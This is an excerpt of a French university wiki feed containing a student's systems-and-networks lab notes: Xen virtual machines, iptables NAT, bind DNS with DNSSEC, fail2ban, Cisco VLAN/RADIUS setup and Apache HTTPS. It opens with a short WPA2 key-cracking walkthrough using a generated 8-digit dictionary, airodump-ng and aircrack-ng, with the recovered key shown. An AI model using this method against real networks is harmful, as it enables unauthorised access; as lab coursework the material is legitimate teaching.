44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12260</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12260"/>
		<updated>2026-02-12T15:27:57Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
=== Infos concernant notre binôme : ===&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
